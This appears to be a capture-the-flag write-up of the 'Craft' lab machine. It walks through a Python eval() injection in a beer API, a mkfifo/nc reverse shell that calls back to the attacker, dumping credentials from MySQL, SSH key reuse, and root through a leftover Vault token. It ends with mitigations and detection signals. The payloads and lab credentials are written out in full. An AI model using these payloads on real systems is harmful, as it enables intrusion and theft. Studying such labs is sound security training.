Overview

Craft is a medium-difficulty Linux box built around a beer-catalog REST API. The intended path is almost entirely source-review driven: a self-hosted Gogs instance leaks API credentials and the API source, the source reveals a Python eval() injection in the brew endpoint, and code execution drops us into the API container as root. From there the database yields reusable credentials, one of which unlocks a private Gogs repo holding an SSH key. Finally, the box uses HashiCorp Vault’s SSH secrets engine to broker root logins, and a leftover root-capable Vault token lets us mint a one-time password and SSH straight in as root.

The chain is a good illustration of how “read-only” information disclosure (a Git repo, an issue tracker, a config file) adds up to full compromise without a single memory-corruption bug.

1
2
3
4
5
6
7
8
Gogs (craft-api source + issue tracker)
  -> settings.py gitignored, eval() bug disclosed in an issue, dinesh's password in history
  -> api.craft.htb: JWT via Basic Auth, eval() injection in /api/brew/
  -> RCE as root inside the API container
  -> settings.py on disk -> DB creds -> user table (cleartext passwords)
  -> gilfoyle's DB password reused for Gogs -> private craft-infra repo -> SSH key
  -> key passphrase = gilfoyle's DB password -> SSH to the host, user flag
  -> gilfoyle's Vault token (root policy) -> vault ssh -role root_otp -> root

Reconnaissance

Nmap

1
nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.10.10.x
1
2
3
4
5
6
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
443/tcp  open  ssl/http nginx 1.15.8
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
|_http-title: About
6022/tcp open  ssh      Golang x/crypto/ssh server (protocol 2.0)

Three things stand out immediately:

  • Two SSH services (22 and 6022). Port 22 is a standard OpenSSH on Debian. Port 6022 is a Go-based SSH server (x/crypto/ssh) - that’s the SSH transport shipped by Gogs, a strong early hint that a Gogs instance is running behind the proxy and that we’re likely dealing with a containerized host.
  • HTTPS on 443 served by nginx, with a TLS certificate for commonName=craft.htb. nginx acting as a TLS front end usually means it’s reverse-proxying one or more backend apps.
  • The certificate hands us the virtual host craft.htb, so it goes into /etc/hosts before anything else.

Web enumeration

Browsing https://craft.htb returns a landing page for a craft-beer company. The two links in the top-right corner expose additional vhosts, and fuzzing for further subdomains surfaces a fourth. All of them get added to /etc/hosts:

1
10.10.10.x  craft.htb api.craft.htb gogs.craft.htb vault.craft.htb

Each vhost is a distinct backend behind the nginx proxy:

HostPurpose
craft.htbStatic marketing site
api.craft.htbREST API (Swagger UI, token-protected endpoints)
gogs.craft.htbSelf-hosted Gogs Git service
vault.craft.htbHashiCorp Vault (/v1/ API, otherwise 404)

vault.craft.htb is noted and set aside - it only responds under /v1/ and is far more useful once we understand how the box uses it. The API and Gogs are the productive leads.

api.craft.htb

The API exposes a Swagger-style UI. Almost every endpoint returns:

1
{ "message": "Invalid token or no token found." }

Authentication is JWT-based, passed in a custom header. Two details are worth burning into memory here, because both cost time if missed:

  • The header name is X-Craft-API-Token, not X-Craft-Token. Using the wrong header simply returns “Invalid token or no token found,” which is easy to misread as a bad token rather than a missing one.
  • /api/auth/login uses HTTP Basic Auth to hand out a JWT. Without credentials it just returns Authentication failed.

So the API is a dead end until we have valid credentials - which is exactly what Gogs provides.

gogs.craft.htb

Gogs exposes one public repository, Craft/craft-api, containing the API source. A code review yields the whole foothold.

settings.py is gitignored. app.py imports from craft_api import settings and references DB credentials and a signing secret, but craft_api/settings.py isn’t in the repo. The .gitignore explains why:

1
2
*.pyc
settings.py

That’s a useful marker: the running container almost certainly has a real settings.py on disk that we’ll want to read once we have execution.

The issue tracker leaks the vulnerability. An open issue, “Bogus ABV values,” discusses a patch that validates the abv field. The referenced fix commit adds this check to the brew endpoint:

1
2
3
4
5
6
# make sure the ABV value is sane.
if eval('%s > 1' % request.json['abv']):
    return "ABV must be a decimal value less than 1.0", 400
else:
    create_brew(request.json)
    return None, 201

The abv value from the request body is interpolated directly into an eval(). There is no sanitization, so any string we put in abv is executed as Python. A second commenter even flags the code as unsafe. This is the code-execution primitive; we just need a valid token to reach it.

The Git history leaks credentials. The tests/ directory holds test.py, which authenticates to the API. The current version uses empty creds, but the file’s commit history shows an earlier revision where the developer dinesh had hardcoded his real password. Recovering that older commit gives us:

1
dinesh : 4aUh0A8PbVJxgd

Initial Access

Authenticating to the API

With dinesh’s credentials we can mint a JWT via Basic Auth:

1
curl -k -u dinesh:4aUh0A8PbVJxgd https://api.craft.htb/api/auth/login
1
{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNzg5NjQ3NTUwfQ.SDgKb2K3pv33xnxjiCBo3CS3g2DgWLwpe7QfilBDLZo"}

Verifying the token works:

1
curl -k -H "X-Craft-API-Token: <token>" https://api.craft.htb/api/auth/check
1
{"message":"Token is valid!"}

One practical gotcha: these JWTs carry a short exp claim (five minutes). Any command that took a bit of fiddling would suddenly start returning “Invalid token or no token found,” which looks like a broken request but is really just an expired token. The reliable approach is to re-request a fresh token immediately before each authenticated call.

Confirming the brew endpoint behaves as the issue described also validates the eval() is live. An out-of-range abv is rejected exactly as the patch dictates, while a sane value succeeds:

1
2
3
4
5
# abv "15.0" -> eval('15.0 > 1') is True -> rejected
{"message": "ABV must be a decimal value less than 1.0"}

# abv "0.123" -> eval('0.123 > 1') is False -> created
null

Note that malformed JSON (e.g. a stray ) in the body) returns The browser (or proxy) sent a request that this server could not understand rather than an app-level error - a nginx/parsing failure, not the API rejecting the value. Worth distinguishing so you don’t chase the wrong bug.

Exploiting the eval() injection

Because abv is spliced into eval('%s > 1' % ...), we replace it with a Python expression that triggers command execution. __import__('os').system(...) runs an OS command inline, and the return value keeps the surrounding > 1 comparison syntactically valid. A mkfifo reverse shell is ideal here - it contains no single/double quotes to collide with the JSON escaping:

1
2
3
4
5
6
TOKEN=$(curl -s -k -u dinesh:4aUh0A8PbVJxgd https://api.craft.htb/api/auth/login | jq -r .token)

curl -k -X POST https://api.craft.htb/api/brew/ \
     -H "X-Craft-API-Token: $TOKEN" \
     -H "Content-Type: application/json" \
     --data '{"name":"test","brewer":"test","style":"test","abv":"__import__(\"os\").system(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.65 4444 >/tmp/f\")"}'

When the payload fires, the API request blocks (the shell holds the connection open), so nginx eventually returns:

1
<head><title>504 Gateway Time-out</title></head>

That 504 is the success signal, not a failure - meanwhile the listener catches the shell:

1
nc -lvnp 4444
1
2
3
4
connect to [10.10.14.65] from (UNKNOWN) [10.10.10.x] 33123
/bin/sh: can't access tty; job control turned off
/opt/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),...

We land as root, but this is deceptive - it’s root inside a container, not on the host.

Lateral Movement

Confirming the container and reading secrets

The environment and hostname make the container obvious:

1
2
HOSTNAME=5a3d243127f5
PYTHON_VERSION=3.6.8

/opt/app holds the API source from Gogs, and this time settings.py - the file that was gitignored - is present on disk. It contains the database credentials and the JWT signing secret:

1
2
3
4
5
6
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'

netstat confirms the container’s place in the Docker network and shows the MySQL backend it talks to:

1
2
tcp  ...  5a3d243127f5:8888   craft_proxy_1.craft_default:41538   ESTABLISHED
tcp  ...  5a3d243127f5:47180  craft_db_1.craft_default:mysql      ESTABLISHED

The database lives in a separate db container (craft_db_1) on the craft_default bridge network, not exposed to the outside - reachable only from inside the compose stack, which is exactly where we now are.

Querying MySQL without a client

The container is minimal (BusyBox userland): there’s no mysql client, no curl, no ss. Rather than fight tunneling, the cleanest approach is to reuse the app’s own DB stack. dbtest.py already imports settings and opens a pymysql connection, so a one-liner run from /opt/app (so the craft_api package resolves) does the job:

1
2
3
4
5
python3 -c "import pymysql; from craft_api import settings; \
conn = pymysql.connect(host=settings.MYSQL_DATABASE_HOST, user=settings.MYSQL_DATABASE_USER, \
password=settings.MYSQL_DATABASE_PASSWORD, db=settings.MYSQL_DATABASE_DB, \
cursorclass=pymysql.cursors.DictCursor); cur = conn.cursor(); \
cur.execute('SHOW TABLES'); print(cur.fetchall())"
1
[{'Tables_in_craft': 'brew'}, {'Tables_in_craft': 'user'}]

A brief dead end here: dropping a standalone showTables.py into craft_api/ and running it failed with ModuleNotFoundError: No module named 'craft_api', because the import only resolves when the working directory is the project root (/opt/app). Running the query inline from /opt/app sidesteps the packaging issue entirely.

The user table is the prize:

1
python3 -c "... cur.execute('SELECT * FROM user;'); print(cur.fetchall())"
1
2
3
[{'id': 1, 'username': 'dinesh',   'password': '4aUh0A8PbVJxgd'},
 {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'},
 {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

Passwords are stored in cleartext. dinesh matches what we already found in Gogs, which validates the table; ebachman and gilfoyle are new.

From database creds to a host shell

Neither of the new passwords works directly against SSH (22 or 6022). They do, however, work against Gogs - logging in as gilfoyle reveals a private repository, craft-infra, that the public view never showed.

craft-infra contains the infrastructure configuration for the whole stack, and two pieces matter:

  1. A .ssh directory with an id_rsa / id_rsa.pub keypair belonging to gilfoyle.
  2. A vault/secrets.sh script that configures Vault (see privilege escalation).

Saving the private key and connecting to the host reveals the key is passphrase-protected - but credential reuse pays off again: gilfoyle’s database password unlocks his SSH key.

1
2
ssh -i id_rsaGilfoyle [email protected]
# Enter passphrase for key 'id_rsaGilfoyle': ZEU3N8WNM2rh4T
1
2
3
Linux craft.htb ... x86_64
gilfoyle@craft:~$ cat user.txt
[REDACTED_USER_FLAG]

We now have an interactive session on the host (not the container) as a low-privileged user, and the user flag.

Privilege Escalation

Enumerating the Vault setup

gilfoyle’s home directory and environment are littered with Vault references:

1
2
3
4
5
6
gilfoyle@craft:~$ ls -la
-rw------- 1 gilfoyle gilfoyle   36 ... .vault-token
gilfoyle@craft:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
gilfoyle@craft:~$ which vault
/usr/local/bin/vault

There’s a Vault CLI, a VAULT_ADDR pointing at the Vault container, and a saved token. HashiCorp Vault brokers access to secrets - and, crucially, it can also broker SSH logins via its SSH secrets engine.

The secrets.sh recovered from craft-infra explains exactly how this box uses it:

1
2
3
4
5
6
7
8
#!/bin/bash
# set up vault secrets backend
vault secrets enable ssh

vault write ssh/roles/root_otp \
    key_type=otp \
    default_user=root \
    cidr_list=0.0.0.0/0

This configures an OTP SSH role named root_otp whose default_user is root and whose cidr_list is 0.0.0.0/0. In OTP mode, Vault generates a one-time password on demand and installs it as the SSH login credential for the target host (via the Vault PAM helper on that host). Anyone whose Vault token is authorized for that role can therefore request a valid one-time SSH password for root@<any host>. gilfoyle’s .vault-token is a root-policy token, so he is authorized.

Requesting a root OTP

The exploitation is a single command - request an OTP for the root_otp role and let Vault SSH to the local host as root:

1
vault ssh -role root_otp -mode otp [email protected]
1
2
3
4
5
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt.
OTP for the session is: 9f09b5dc-c583-55bc-83a5-a213d34cbf6f

Password: <paste the OTP>

sshpass isn’t installed, so Vault prints the OTP and hands off to a normal ssh; we paste the OTP at the password prompt. That authenticates us to the local SSH service as root.

Two failed attempts are worth calling out, because they’re instructive rather than noise:

  • An early try used a mistyped hostname ([email protected]), which failed on DNS resolution.
  • Manually overriding the environment - export VAULT_ADDR="https://127.0.0.1:8200" and clearing VAULT_TOKEN - broke everything with connection refused. Vault is not listening on the host’s localhost; it runs in the vault container reachable via the VAULT_ADDR that the shell was already configured with (vault.craft.htb:8200), authenticated by the .vault-token that the CLI reads automatically. Overwriting those working defaults pointed the CLI at a port with nothing behind it.

Starting a fresh SSH session restored the correct VAULT_ADDR and let the CLI pick up ~/.vault-token on its own, after which the OTP request succeeded immediately.

With the OTP entered, we get a root shell on the host:

1
2
3
4
root@craft:~# id
uid=0(root) gid=0(root) groups=0(root)
root@craft:~# cat root.txt
[REDACTED_ROOT_FLAG]

Detection and Mitigation

StageRoot causeMitigation
Credential leak in Git historyA once-committed password (dinesh) survived a later “fix”Treat any credential that ever touched version control as compromised; rotate, don’t just remove
eval() on user inputUnsanitized abv interpolated into eval('%s > 1' % ...)Parse and range-check numeric input with float()/Decimal, never evaluate it
Cleartext password storageuser table stored plaintext passwordsHash passwords with a slow, salted algorithm (bcrypt/argon2)
Credential reuseOne DB password unlocked Gogs and an SSH key passphraseUnique credentials per system; no password reuse across service/DB/SSH
Over-privileged Vault tokenA root-policy .vault-token sat readable in a user’s home directoryScope tokens to the minimum policy needed; short TTLs; never persist reusable root tokens on disk

Detection signals:

  • Repository history changes/force-pushes that remove previously committed secrets (the secret is still compromised even after removal).
  • Outbound connections from an application container to unexpected internal hosts after a request that took unusually long (the mkfifo reverse shell blocking the HTTP request).
  • Vault audit log entries for ssh/creds/root_otp requests followed immediately by an SSH login as root from the same source.

Lessons Learned

  • Gitignored is not gone. settings.py was excluded from the repo, but the running container still shipped it. More damaging, secrets that were once committed (dinesh’s password) lived on in the Git history even after being “removed.”
  • eval() on user input is remote code execution. The abv “sanity check” (eval('%s > 1' % request.json['abv'])) turned a validation routine into an unauthenticated-adjacent RCE.
  • Credential reuse compounds. One cleartext DB password unlocked Gogs, which unlocked an SSH key, whose passphrase was that same password. Each reuse collapsed a boundary that should have held.
  • Vault is only as strong as its tokens. The SSH OTP engine is a legitimate, secure pattern, but leaving a root-policy .vault-token in a user’s home directory hands that user full root SSH via the root_otp role.

Command Reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
# recon
nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.10.10.x

# API auth + eval() injection
TOKEN=$(curl -s -k -u dinesh:4aUh0A8PbVJxgd https://api.craft.htb/api/auth/login | jq -r .token)
curl -k -X POST https://api.craft.htb/api/brew/ \
     -H "X-Craft-API-Token: $TOKEN" -H "Content-Type: application/json" \
     --data '{"name":"test","brewer":"test","style":"test","abv":"__import__(\"os\").system(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> 4444 >/tmp/f\")"}'
nc -lvnp 4444

# query MySQL from inside the app container
python3 -c "import pymysql; from craft_api import settings; \
conn = pymysql.connect(host=settings.MYSQL_DATABASE_HOST, user=settings.MYSQL_DATABASE_USER, \
password=settings.MYSQL_DATABASE_PASSWORD, db=settings.MYSQL_DATABASE_DB, \
cursorclass=pymysql.cursors.DictCursor); cur = conn.cursor(); \
cur.execute('SELECT * FROM user;'); print(cur.fetchall())"

# gilfoyle host access
ssh -i id_rsaGilfoyle [email protected]

# Vault root OTP
vault ssh -role root_otp -mode otp [email protected]